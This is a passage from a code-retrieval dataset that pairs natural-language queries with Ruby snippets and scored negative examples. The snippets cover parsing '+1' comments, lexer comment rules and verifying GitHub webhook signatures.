query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
listlengths
0
101
negative_scores
listlengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
Simply parse the comment for plus ones
def parse_comment_body(comment_body) # Ignore common markdown prefixes comment_body = comment_body.gsub(/^(>\s|\#{1,4}\s|\*\s|\+\s|-\s).+/u, '') plus_one_regex_pattern = Regexp.new('(' + PLUS_ONE_COMMENTS.map{|item| Regexp.escape(item)}.join('|') + ')') neg_one_regex_pattern = Regexp.new('(' + NEG_ONE_COMMENTS.map{|item| Regexp.escape(item)}.join('|') + ')') total_plus = comment_body.scan(plus_one_regex_pattern).count total_neg = comment_body.scan(neg_one_regex_pattern).count net_pluses = total_plus - total_neg if net_pluses > 0 net_pluses = 1 elsif net_pluses < 0 net_pluses = -1 end return net_pluses end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def parse_with_comments(source); end", "def parse_comments(comments); end", "def parse_with_comments(source_buffer); end", "def parse_with_comments(source_buffer); end", "def parse_with_comments(source_buffer); end", "def parse_comments\n @data[4][0]\n end", "def scan_for_plus(token); end", "def parse_comment\n s0 = @scanner.pos\n if match_str('*') == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n s2 = parse_nonls\n if parse_nl == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n @reported_pos = s0\n s0 = s2.join\n end\n end\n if s0 == :failed\n s0 = @scanner.pos\n s1 = match_str('&')\n if s1 == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n s2 = parse_nonls\n if parse_nl == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n @reported_pos = s0\n s0 = '&' + s2.join\n end\n end\n end\n s0\n end", "def consume_comments; end", "def add_comment(comment); end", "def consume_comments\n if @s.peek(2) == '/*'\n @s.consume\n @s.consume\n\n if text = @s.scan_until(RE_COMMENT_CLOSE)\n text.slice!(-2, 2)\n else\n # Parse error.\n text = @s.consume_rest\n end\n\n return create_token(:comment, :value => text)\n end\n\n nil\n end", "def process_initial_comment(tk)\n if @statement.empty? && (@comments_last_line || 0) < tk.line_no - 2\n @comments = nil\n end\n\n return unless tk.class == TkCOMMENT\n\n case tk.text\n when Parser::SourceParser::SHEBANG_LINE\n if !@last_ns_tk && !@encoding_line\n @shebang_line = tk.text\n return\n end\n when Parser::SourceParser::ENCODING_LINE\n if (@last_ns_tk.class == TkCOMMENT && @last_ns_tk.text == @shebang_line) ||\n !@last_ns_tk\n @encoding_line = tk.text\n return\n end\n end\n\n return if !@statement.empty? && @comments\n return if @first_line && tk.line_no > @first_line\n\n if @comments_last_line && @comments_last_line < tk.line_no - 1\n if @comments && @statement.empty?\n @tokens.unshift(tk)\n return @done = true\n end\n @comments = nil\n end\n @comments_line = tk.line_no unless @comments\n\n # Remove the \"#\" and up to 1 space before the text\n # Since, of course, the convention is to have \"# text\"\n # and not \"#text\", which I deem ugly (you heard it here first)\n @comments ||= []\n if tk.text.start_with?('=begin')\n lines = tk.text.count(\"\\n\")\n @comments += tk.text.gsub(/\\A=begin.*\\r?\\n|\\r?\\n=end.*\\r?\\n?\\Z/, '').split(/\\r?\\n/)\n @comments_last_line = tk.line_no + lines\n else\n @comments << tk.text.gsub(/^(#+)\\s{0,1}/, '')\n @comments_hash_flag = $1 == '##' if @comments_hash_flag.nil?\n @comments_last_line = tk.line_no\n end\n @comments.pop if @comments.size == 1 && @comments.first =~ /^\\s*$/\n true\n end", "def parse_comment(raw)\n c = nil\n if raw =~ /\\A\\((.+?)\\)(.+)\\z/\n c, raw = [$2, $1]\n end\n if raw =~ /\\A(.+)\\((.+?)\\)\\z/\n raw, c = [$1, $2]\n end\n [raw, c]\n end", "def parse_addop()\n\t\tif(next_TokenGrabbed(\"+\") or next_TokenGrabbed(\"-\"))\n\t\ttrue\n\telse\n\t\tfalse\n\tend\nend", "def parse_with_comments(source_buffer)\n @lexer.comments = []\n\n [ parse(source_buffer), @lexer.comments ]\n ensure\n @lexer.comments = nil\n end", "def add_comment comment\n \"\\n###### #{comment} ######\\n\" \n end", "def _comment\n\n _save = self.pos\n while true # choice\n _tmp = scan(/\\A(?-mix:--.*?$)/)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_multi_comment)\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_comment unless _tmp\n return _tmp\n end", "def add_comment(comment)\n \"\\n+++++++++++++++++++++++++++++++++++++++++ #{comment} ++++++++++++++++++++++++++++++++++++++++++++++\\n\"\n end", "def comment(string); end", "def comment(string); end", "def comment(string); end", "def comment(string); end", "def plus_asgn!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 86 )\n\n type = PLUS_ASGN\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 207:13: '+='\n match( \"+=\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 86 )\n\n end", "def preceding_comment?(node1, node2); end", "def parse_comment\n return false unless @lexer.get and @lexer.get.type == :comment_start\n @lexer.next!\n\n buf = ''\n while token = @lexer.get\n break if token.type == :comment_end\n buf << token.value\n @lexer.next!\n end\n\n found :comment, buf\n @lexer.next!\n true\n end", "def parse_with_comments(code)\n return RubyLint::Parser.new.parse(code)\nend", "def detect_comments\n if @input =~ %r{^\\s*[/]{2}}\n @mode = :comment\n @expression = ''\n end\n end", "def process_initial_comment(tk); end", "def plus!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 30 )\n\n type = PLUS\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 164:8: '+'\n match( 0x2b )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 30 )\n\n end", "def add_comment comment\n comment = extract_comment comment\n\n return if comment.empty?\n\n case comment\n when RDoc::Comment then\n @comments << comment\n when RDoc::Markup::Document then\n @comments.concat comment.parts\n when Array then\n @comments.concat comment\n else\n raise TypeError, \"unknown comment type: #{comment.inspect}\"\n end\n end", "def plus!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 48 )\n\n type = PLUS\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 374:8: '+'\n match( 0x2b )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 48 )\n\n end", "def plus!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 84 )\n\n type = PLUS\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 205:8: '+'\n match( 0x2b )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 84 )\n\n end", "def plus!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 39 )\n\n\n\n type = PLUS\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 60:7: '+'\n match( 0x2b )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 39 )\n\n\n end", "def process_each_comment comment\n\n\tquote1_markerstring = \"\\r\\n\\r\\n\"\n\tquote2_markerstring = \"\\r\\n\"\n\n\tquote = comment[/#{quote1_markerstring}(.*?)#{quote2_markerstring}/m, 1].strip\n\tbookname_and_page = comment.split(\"|\").first\n\n\ttmp = bookname_and_page.split(\"\\r\\n\")\n\tbookname = tmp.first.strip\n\tpage = tmp.last.strip\n\t[quote,bookname,page]\n\nend", "def ml_comment!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 40)\n\n type = ML_COMMENT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 478:4: '/*' ( . )* '*/'\n match(\"/*\")\n # --> action\n if @input.peek(1) == ?* then type = DOC_COMMENT else channel = HIDDEN end \n # <-- action\n # at line 478:88: ( . )*\n loop do #loop 4\n alt_4 = 2\n look_4_0 = @input.peek(1)\n\n if (look_4_0 == ?*) \n look_4_1 = @input.peek(2)\n\n if (look_4_1 == ?/) \n alt_4 = 2\n elsif (look_4_1.between?(0x0000, ?.) || look_4_1.between?(?0, 0xFFFF)) \n alt_4 = 1\n\n end\n elsif (look_4_0.between?(0x0000, ?)) || look_4_0.between?(?+, 0xFFFF)) \n alt_4 = 1\n\n end\n case alt_4\n when 1\n # at line 478:88: .\n match_any\n\n else\n break #loop 4\n end\n end\n match(\"*/\")\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 40)\n\n end", "def extract_magic_comments(processed_source); end", "def _comment\n\n _save = self.pos\n begin # sequence\n _tmp = match_string(\"#\")\n break unless _tmp\n while true # kleene\n\n _save1 = self.pos\n begin # sequence\n _save2 = self.pos\n _tmp = apply(:_eol)\n _tmp = !_tmp\n self.pos = _save2\n break unless _tmp\n _tmp = match_dot\n end while false\n unless _tmp\n self.pos = _save1\n end # end sequence\n\n break unless _tmp\n end\n _tmp = true # end kleene\n break unless _tmp\n _tmp = apply(:_eol)\n end while false\n unless _tmp\n self.pos = _save\n end # end sequence\n\n set_failed_rule :_comment unless _tmp\n return _tmp\n end", "def multi_line_comment\n # /*\n if @codes[@pos] == 0x2f and @codes[@pos + 1] == 0x2a\n @pos += 2\n pos0 = @pos\n # */\n while (code = @codes[@pos] != 0x2a) or @codes[@pos + 1] != 0x2f\n raise ParseError.new(\"no `*/' at end of comment\", self) if code.nil?\n @pos += 1\n end\n @pos +=2\n return ECMA262::MultiLineComment.new(@codes[pos0...(@pos-2)].pack(\"U*\"))\n else\n nil\n end\n end", "def comment(string)\n case string.strip # strip leading and trailing whitespaces\n when /^body=\"start\"/ # match starting comment\n @interesting = true\n when /^body=\"end\"/\n @interesting = false # match closing comment\n end\n end", "def comment(string)\n case string.strip # strip leading and trailing whitespaces\n when /^body=\"start\"/ # match starting comment\n @interesting = true\n when /^body=\"end\"/\n @interesting = false # match closing comment\n end\n end", "def comment_token\n return unless match = @chunk.match(COMMENT)\n # _, comment = *match\n # token(:COMMENT, comment, 0, comment.size)\n match[0].size\n end", "def add_comment(comment)\n @comment += comment + \"\\n\"\n end", "def read_line_comment(token)\n token.kind = :line_comment\n read_next() while (current = peek_next()) && current != ?\\n\n token.value = @source[token.from .. @marker.source_index] if !@skip_comments\n end", "def _comment\n\n _save = self.pos\n while true # sequence\n _tmp = match_string(\"#\")\n unless _tmp\n self.pos = _save\n break\n end\n while true\n\n _save2 = self.pos\n while true # sequence\n _save3 = self.pos\n _tmp = apply(:_eol)\n _tmp = _tmp ? nil : true\n self.pos = _save3\n unless _tmp\n self.pos = _save2\n break\n end\n _tmp = get_byte\n unless _tmp\n self.pos = _save2\n end\n break\n end # end sequence\n\n break unless _tmp\n end\n _tmp = true\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = apply(:_eol)\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_comment unless _tmp\n return _tmp\n end", "def parse_comments(result)\n parse_type(result, \"comment\")\n end", "def comment!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 15)\n\n type = COMMENT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 148:3: ( ( '#' | '//' ) (~ '\\\\n' )* | '/*' ( . )* '*/' )\n alt_10 = 2\n look_10_0 = @input.peek(1)\n\n if (look_10_0 == ?#) \n alt_10 = 1\n elsif (look_10_0 == ?/) \n look_10_2 = @input.peek(2)\n\n if (look_10_2 == ?/) \n alt_10 = 1\n elsif (look_10_2 == ?*) \n alt_10 = 2\n else\n nvae = NoViableAlternative(\"\", 10, 2)\n raise nvae\n end\n else\n nvae = NoViableAlternative(\"\", 10, 0)\n raise nvae\n end\n case alt_10\n when 1\n # at line 148:5: ( '#' | '//' ) (~ '\\\\n' )*\n # at line 148:5: ( '#' | '//' )\n alt_7 = 2\n look_7_0 = @input.peek(1)\n\n if (look_7_0 == ?#) \n alt_7 = 1\n elsif (look_7_0 == ?/) \n alt_7 = 2\n else\n nvae = NoViableAlternative(\"\", 7, 0)\n raise nvae\n end\n case alt_7\n when 1\n # at line 148:7: '#'\n match(?#)\n\n when 2\n # at line 148:13: '//'\n match(\"//\")\n\n end\n # at line 148:20: (~ '\\\\n' )*\n while true # decision 8\n alt_8 = 2\n look_8_0 = @input.peek(1)\n\n if (look_8_0.between?(0x0000, ?\\t) || look_8_0.between?(0x000B, 0xFFFF)) \n alt_8 = 1\n\n end\n case alt_8\n when 1\n # at line 148:20: ~ '\\\\n'\n if @input.peek(1).between?(0x0000, ?\\t) || @input.peek(1).between?(0x000B, 0x00FF)\n @input.consume\n else\n mse = MismatchedSet(nil)\n recover(mse)\n raise mse\n end\n\n\n\n else\n break # out of loop for decision 8\n end\n end # loop for decision 8\n\n when 2\n # at line 149:5: '/*' ( . )* '*/'\n match(\"/*\")\n # at line 149:10: ( . )*\n while true # decision 9\n alt_9 = 2\n look_9_0 = @input.peek(1)\n\n if (look_9_0 == ?*) \n look_9_1 = @input.peek(2)\n\n if (look_9_1 == ?/) \n alt_9 = 2\n elsif (look_9_1.between?(0x0000, ?.) || look_9_1.between?(?0, 0xFFFF)) \n alt_9 = 1\n\n end\n elsif (look_9_0.between?(0x0000, ?)) || look_9_0.between?(?+, 0xFFFF)) \n alt_9 = 1\n\n end\n case alt_9\n when 1\n # at line 149:10: .\n match_any\n\n else\n break # out of loop for decision 9\n end\n end # loop for decision 9\n match(\"*/\")\n\n end\n \n @state.type = type\n @state.channel = channel\n # --> action\n skip \n # <-- action\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 15)\n\n end", "def push_comment(text)\n\t text.strip!\n\t @primitives.push Comment.new(text) if text && text.length\n\tend", "def _comment\n\n _save = self.pos\n while true # sequence\n _tmp = match_string(\"#\")\n unless _tmp\n self.pos = _save\n break\n end\n while true\n\n _save2 = self.pos\n while true # sequence\n _save3 = self.pos\n _tmp = apply(:_end_hyphen_of_hyphen_line)\n _tmp = _tmp ? nil : true\n self.pos = _save3\n unless _tmp\n self.pos = _save2\n break\n end\n _tmp = apply(:_utf8)\n unless _tmp\n self.pos = _save2\n end\n break\n end # end sequence\n\n break unless _tmp\n end\n _tmp = true\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_comment unless _tmp\n return _tmp\n end", "def _reduce_354(val, _values, result)\n self.comments.push self.lexer.comments\n\n result\nend", "def _reduce_354(val, _values, result)\n self.comments.push self.lexer.comments\n\n result\nend", "def lex_en_line_comment; end", "def lex_en_line_comment; end", "def lex_en_line_comment; end", "def collect_first_comment\n skip_tkspace\n comment = ''.dup\n comment = RDoc::Encoding.change_encoding comment, @encoding if @encoding\n first_line = true\n first_comment_tk_kind = nil\n line_no = nil\n\n tk = get_tk\n\n while tk && (:on_comment == tk[:kind] or :on_embdoc == tk[:kind])\n comment_body = retrieve_comment_body(tk)\n if first_line and comment_body =~ /\\A#!/ then\n skip_tkspace\n tk = get_tk\n elsif first_line and comment_body =~ /\\A#\\s*-\\*-/ then\n first_line = false\n skip_tkspace\n tk = get_tk\n else\n break if first_comment_tk_kind and not first_comment_tk_kind === tk[:kind]\n first_comment_tk_kind = tk[:kind]\n\n line_no = tk[:line_no] if first_line\n first_line = false\n comment << comment_body\n tk = get_tk\n\n if :on_nl === tk then\n skip_tkspace_without_nl\n tk = get_tk\n end\n end\n end\n\n unget_tk tk\n\n new_comment comment, line_no\n end", "def consume_comments\n c = comments\n discard_comments\n c\n end", "def line_comments_option; end", "def lex_comment line\n # do nothing\n end", "def comment!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 13 )\n\n type = COMMENT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 63:5: '#' (~ ( '\\\\r' | '\\\\n' ) )*\n match( 0x23 )\n # at line 63:9: (~ ( '\\\\r' | '\\\\n' ) )*\n while true # decision 22\n alt_22 = 2\n look_22_0 = @input.peek( 1 )\n\n if ( look_22_0.between?( 0x0, 0x9 ) || look_22_0.between?( 0xb, 0xc ) || look_22_0.between?( 0xe, 0xffff ) )\n alt_22 = 1\n\n end\n case alt_22\n when 1\n # at line 63:11: ~ ( '\\\\r' | '\\\\n' )\n if @input.peek( 1 ).between?( 0x0, 0x9 ) || @input.peek( 1 ).between?( 0xb, 0xc ) || @input.peek( 1 ).between?( 0xe, 0xff )\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n end\n\n\n\n else\n break # out of loop for decision 22\n end\n end # loop for decision 22\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 13 )\n\n end", "def consume_comment(input)\n while not input.eof? do\n case input.look_ahead\n when \"\\\\\" : \n # In comments, only escaped backslashes and line endings matter\n if [\"\\n\", \"\\\\\"].include? input.look_ahead(1)\n input.consume\n end\n when \"\\n\" : input.consume; break \n end\n input.consume\n end\n end", "def multiline_comment!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 50 )\n\n\n\n type = MULTILINE_COMMENT\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 229:21: '/*' ( . )* '*/'\n match( \"/*\" )\n\n # at line 229:26: ( . )*\n while true # decision 7\n alt_7 = 2\n look_7_0 = @input.peek( 1 )\n\n if ( look_7_0 == 0x2a )\n look_7_1 = @input.peek( 2 )\n\n if ( look_7_1 == 0x2f )\n alt_7 = 2\n elsif ( look_7_1.between?( 0x0, 0x2e ) || look_7_1.between?( 0x30, 0xffff ) )\n alt_7 = 1\n\n end\n elsif ( look_7_0.between?( 0x0, 0x29 ) || look_7_0.between?( 0x2b, 0xffff ) )\n alt_7 = 1\n\n end\n case alt_7\n when 1\n # at line 229:26: .\n match_any\n\n else\n break # out of loop for decision 7\n end\n end # loop for decision 7\n\n\n match( \"*/\" )\n\n\n # --> action\n channel = HIDDEN;\n # <-- action\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 50 )\n\n\n end", "def lex_en_line_comment=(_arg0); end", "def lex_en_line_comment=(_arg0); end", "def lex_en_line_comment=(_arg0); end", "def parse_comment_body(comment_body)\n net_pluses = comment_body.scan(PLUS_ONE_COMMENT).count\n net_pluses = net_pluses - comment_body.scan(NEG_ONE_COMMENT).count\n\n if net_pluses > 0\n net_pluses = 1\n elsif net_pluses < 0\n net_pluses = -1\n end\n\n return net_pluses\n end", "def _comment\n\n _save = self.pos\n while true # sequence\n _tmp = match_string(\"(\")\n unless _tmp\n self.pos = _save\n break\n end\n while true\n\n _save2 = self.pos\n while true # choice\n _tmp = apply(:_ctext)\n break if _tmp\n self.pos = _save2\n _tmp = apply(:_quoted_pair)\n break if _tmp\n self.pos = _save2\n _tmp = apply(:_comment)\n break if _tmp\n self.pos = _save2\n break\n end # end choice\n\n break unless _tmp\n end\n _tmp = true\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = match_string(\")\")\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_comment unless _tmp\n return _tmp\n end", "def visit_Comment(comment, *rest)\n end", "def single_line_comment\n # //\n if @codes[@pos] == 0x2f and @codes[@pos + 1] == 0x2f\n @pos += 2\n pos0 = @pos\n while (code = @codes[@pos]) and !line_terminator?(code)\n @pos += 1\n end\n return ECMA262::SingleLineComment.new(@codes[pos0...@pos].pack(\"U*\"))\n else\n nil\n end\n end", "def extract_comment comment\n case comment\n when Array then\n comment.map do |c|\n extract_comment c\n end\n when nil\n RDoc::Comment.new ''\n when RDoc::Comment then\n if comment.text =~ /^#[ \\t]*:section:.*\\n/ then\n start = $`\n rest = $'\n\n comment.text = if start.empty? then\n rest\n else\n rest.sub(/#{start.chomp}\\Z/, '')\n end\n end\n\n comment\n when RDoc::Markup::Document then\n comment\n else\n raise TypeError, \"unknown comment #{comment.inspect}\"\n end\n end", "def comment(text)\n comments << text\n end", "def comments=(_arg0); end", "def comments=(_arg0); end", "def comments=(_arg0); end", "def comments=(_arg0); end", "def comments=(_arg0); end", "def verify_comment(line) \n end", "def parse_comments\n comments_from_new_event = params['myforum']['place']['what']['time']['day']['stars']\n end", "def parse\n tagify(decommentify(@input)).strip\n end", "def comment(text)\n @xml << \"<!-- #{text} -->\"\n nil\n end", "def comment?; end", "def comment?; end", "def detect_comments(code,extension)\n flag=false\n case extension\n when \".rb\"\n if code[0] == \"#\"\n code = code[1..-1]\n flag = true\n end\n when \".js\"\n if code[0..1] == \"//\"\n code = code[2..-1]\n flag = true\n end\n when \".py\"\n if code[0] == \"#\"\n code = code[1..-1]\n flag = true\n end\n end\n return code,flag\nend", "def comment_add(name)\n if name !~ /\\w=/ # We accept 'name=' in case you want to leave the value empty\n raise FlacInfoError, \"comments must be in the form 'name=value'\"\n end\n begin\n @comment[@comment.length] = name\n @comments_changed = 1\n rescue\n return false\n end\n return true\n end", "def comment!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 49 )\n\n\n\n type = COMMENT\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 228:11: '//' ( . )* ( '\\\\n' | '\\\\r' )\n match( \"//\" )\n\n # at line 228:16: ( . )*\n while true # decision 6\n alt_6 = 2\n look_6_0 = @input.peek( 1 )\n\n if ( look_6_0 == 0xa || look_6_0 == 0xd )\n alt_6 = 2\n elsif ( look_6_0.between?( 0x0, 0x9 ) || look_6_0.between?( 0xb, 0xc ) || look_6_0.between?( 0xe, 0xffff ) )\n alt_6 = 1\n\n end\n case alt_6\n when 1\n # at line 228:16: .\n match_any\n\n else\n break # out of loop for decision 6\n end\n end # loop for decision 6\n\n if @input.peek(1) == 0xa || @input.peek(1) == 0xd\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n\n end\n\n\n\n # --> action\n channel = HIDDEN;\n # <-- action\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 49 )\n\n\n end", "def adjust_comments\n scan_tokens do |prev, token, post, i|\n next 1 unless token[0] == :COMMENT\n before, after = @tokens[i - 2], @tokens[i + 2]\n if before && after &&\n ((before[0] == :INDENT && after[0] == :OUTDENT) ||\n (before[0] == :OUTDENT && after[0] == :INDENT)) &&\n before[1] == after[1]\n @tokens.delete_at(i + 2)\n @tokens.delete_at(i - 2)\n next 0\n elsif prev[0] == \"\\n\" && [:INDENT].include?(after[0])\n @tokens.delete_at(i + 2)\n @tokens[i - 1] = after\n next 1\n elsif ![\"\\n\", :INDENT, :OUTDENT].include?(prev[0])\n @tokens.insert(i, [\"\\n\", Value.new(\"\\n\", token[1].line)])\n next 2\n else\n next 1\n end\n end\n end", "def load_comment(name)\n Jhead.call(\"-ci\", name.shellescape, @match, @pattern)\n end", "def parse_comment(comment)\n return nil if comment.blank?\n contexts = comment.scan(/tm\\.context:\\s*(.*)/)\n result = []\n contexts.each do |i|\n add_context(i[0])\n result << i[0]\n end\n result\n end", "def last_magic_comment(source); end", "def comment=(_arg0); end", "def comment=(_arg0); end", "def comment=(_arg0); end", "def comment=(_arg0); end", "def get_comment(n, algebraic_structure)\n ret = <<EOS\n/**\n* Combine #{n} #{algebraic_structure}s into a product #{algebraic_structure}\n*/\nEOS\n ret.strip\nend", "def default_allows_comments?; true; end", "def comment_begins?\n\t\t\n\tend", "def increment_num_comments\n\n end", "def comments; end", "def comments; end", "def comments; end", "def comments; end", "def comments; end" ]
[ "0.69790125", "0.67527467", "0.6735746", "0.6735746", "0.6735746", "0.6641692", "0.6530477", "0.649971", "0.64747095", "0.62162894", "0.6007913", "0.59899265", "0.5982973", "0.59709007", "0.59277725", "0.5925145", "0.59088796", "0.5883426", "0.58637583", "0.58637583", "0.58637583", "0.58637583", "0.58294946", "0.5823276", "0.58094174", "0.57884663", "0.5787791", "0.5784911", "0.5769512", "0.5762835", "0.5738713", "0.5730964", "0.5711375", "0.56886065", "0.5654101", "0.5653827", "0.5641306", "0.5637423", "0.56305397", "0.56305397", "0.5611654", "0.5579365", "0.5566259", "0.55660355", "0.5560161", "0.55515057", "0.5521153", "0.5520332", "0.5509846", "0.5509846", "0.55089927", "0.55089927", "0.55089927", "0.54925007", "0.5479377", "0.54690564", "0.54436886", "0.5428127", "0.54258776", "0.54224527", "0.54219013", "0.54219013", "0.54219013", "0.5414503", "0.5413357", "0.5412858", "0.54116994", "0.54105717", "0.5407057", "0.53845394", "0.53845394", "0.53845394", "0.53845394", "0.53845394", "0.536741", "0.53440833", "0.53414613", "0.53380024", "0.53181404", "0.53181404", "0.5304554", "0.5302453", "0.5299726", "0.52878034", "0.527361", "0.5269702", "0.5268689", "0.52638036", "0.52638036", "0.52638036", "0.52638036", "0.5262516", "0.526193", "0.52594846", "0.5254886", "0.5252585", "0.5252585", "0.5252585", "0.5252585", "0.5252585" ]
0.57059443
33
Ensure the delivered webhook is from Github
def verify_signature(payload_body) signature = 'sha1=' + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), SECRET_TOKEN, payload_body) return halt 500, "Signatures didn't match!" unless Rack::Utils.secure_compare(signature, request.env['HTTP_X_HUB_SIGNATURE']) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def github_webhook?\n # https://developer.github.com/v3/activity/events/types/#pushevent\n @headers.key?('HTTP_X_GITHUB_EVENT')\n end", "def github_webhook\n payload = JSON.parse(params[:payload])\n requested_branch = payload['ref'].split('/').last\n branch_is_valid = @project.git? && @project.watched_branches.include?(requested_branch)\n if branch_is_valid\n revision = payload['after']\n other_fields = { description: 'github webhook', user_id: current_user.id }\n CommitCreator.perform_once @project.id, revision, other_fields: other_fields\n end\n respond_to do |format|\n format.json do\n render status: :ok, json: { success: branch_is_valid }\n end\n end\n end", "def github_check\n begin\n unless github.blank?\n RestClient.get \"https://github.com/#{github}\"\n end\n rescue\n errors.add :base, \"Invalid Github account.\"\n end\n end", "def verify_webhook_signature\n their_signature_header = request.env['HTTP_X_HUB_SIGNATURE'] || 'sha1='\n method, their_digest = their_signature_header.split('=')\n our_digest = OpenSSL::HMAC.hexdigest(method, WEBHOOK_SECRET, @payload_raw)\n halt 401 unless their_digest == our_digest\n\n # The X-GITHUB-EVENT header provides the name of the event.\n # The action value indicates the which action triggered the event.\n logger.debug \"---- received event #{request.env['HTTP_X_GITHUB_EVENT']}\"\n logger.debug \"---- action #{@payload['action']}\" unless @payload['action'].nil?\n end", "def verify_webhook_signature\n their_signature_header = request.env['HTTP_X_HUB_SIGNATURE'] || 'sha1='\n method, their_digest = their_signature_header.split('=')\n our_digest = OpenSSL::HMAC.hexdigest(method, ENV['GITHUB_WEBHOOK_SECRET'], @payload_raw)\n halt 401 unless their_digest == our_digest\n\n log_action\n end", "def check_signature!\n request.body.rewind\n payload_raw = request.body.read # We need the raw text of the body to check the webhook signature\n begin\n @payload = JSON.parse payload_raw\n rescue\n @payload = {}\n end\n\n # Check X-Hub-Signature to confirm that this webhook was generated by GitHub, and not a malicious third party.\n # The way this works is: We have registered with GitHub a secret, and we have stored it locally in WEBHOOK_SECRET.\n # GitHub will cryptographically sign the request payload with this secret. We will do the same, and if the results\n # match, then we know that the request is from GitHub (or, at least, from someone who knows the secret!)\n # If they don't match, this request is an attack, and we should reject it.\n # The signature comes in with header x-hub-signature, and looks like \"sha1=123456\"\n # We should take the left hand side as the signature method, and the right hand side as the\n # HMAC digest (the signature) itself.\n their_signature_header = request.env['HTTP_X_HUB_SIGNATURE'] || 'sha1='\n method, their_digest = their_signature_header.split('=')\n our_digest = OpenSSL::HMAC.hexdigest(method, WEBHOOK_SECRET, payload_raw)\n halt 401 unless their_digest == our_digest\n @payload\n end", "def push_repo_to_github?(node)\n !!node['delivery']['config']['build_attributes']['publish']['github']\n rescue\n false\n end", "def stash_webhook\n unless @project.git?\n render status: :bad_request, text: 'Repository url is blank'\n return\n end\n\n revision = params[:sha]\n if revision.blank?\n render status: :bad_request, text: 'SHA is blank'\n return\n end\n\n other_fields = { description: 'Requested due to a Pull Request on Stash.' }\n CommitCreator.perform_once @project.id, revision, other_fields: other_fields\n render status: :ok, text: 'Success'\n end", "def has_github?\n !github_url.blank?\n end", "def check_if_push_allowed\n if @source.is_a?(CDNSource)\n raise Informative, 'Cannot push to a CDN source, as it is read-only.'\n end\n\n remotes, = Executable.capture_command('git', %w(remote --verbose), :capture => :merge, :chdir => repo_dir)\n master_repo_urls = [\n 'git@github.com:CocoaPods/Specs.git',\n 'https://github.com/CocoaPods/Specs.git',\n ]\n is_master_repo = master_repo_urls.any? do |url|\n remotes.include?(url)\n end\n\n if is_master_repo\n raise Informative, 'To push to the CocoaPods master repo use ' \\\n \"the `pod trunk push` command.\\n\\nIf you are using a fork of \" \\\n 'the master repo for private purposes we recommend to migrate ' \\\n 'to a clean private repo. To disable this check remove the ' \\\n 'remote pointing to the CocoaPods master repo.'\n end\n end", "def test_webhook(url)\n URI(url).host == \"fabrikam-fiber-inc.visualstudio.com\"\n end", "def handle_repo_push_request\n return unless @repository\n\n branch_name = payload[\"ref\"].sub(%r{\\Arefs/heads/}, '')\n branch = @repository.branches.where(name: branch_name).first\n if 